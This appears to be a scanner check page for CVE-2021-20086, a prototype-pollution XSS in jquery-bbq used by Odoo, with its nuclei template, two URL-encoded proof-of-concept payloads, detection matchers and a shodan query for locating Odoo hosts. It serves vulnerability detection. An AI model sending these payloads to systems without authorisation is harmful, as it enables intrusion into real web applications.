Odoo Apps - Cross-Site Scripting via Prototype Pollution

highseverity

8.8CVSS score

6.1%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.

Impact

Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.

Fix

Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.

How to confirm it

Send: GET {{BaseURL}}/?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x ; GET {{BaseURL}}/?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x
Positive when: !contains(body, "debug:") and contains_all(body, "alert(document.domain)","var odoo =") and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-20086 -u <target>

The full check

id: CVE-2021-20086

info:
  name: Odoo Apps - Cross-Site Scripting via Prototype Pollution
  author: 1337rokudenashi
  severity: high
  description: |
    jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.
  impact: |
    Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.
  remediation: |
    Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.
  reference:
    - https://www.tenable.com/security/research/tra-2022-10
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20086
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-20086
    cwe-id: CWE-1321
    epss-score: 0.06104
    epss-percentile: 0.93486
    cpe: cpe:2.3:a:jquery-bbq_project:jquery-bbq:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jquery-bbq_project
    product: jquery-bbq
    shodan-query: html:"Odoo"
  tags: cve,cve2021,odoo,xss,proto,jquery,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x"
      - "{{BaseURL}}/?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - '!contains(body, "debug:")'
          - 'contains_all(body, "alert(document.domain)","var odoo =")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from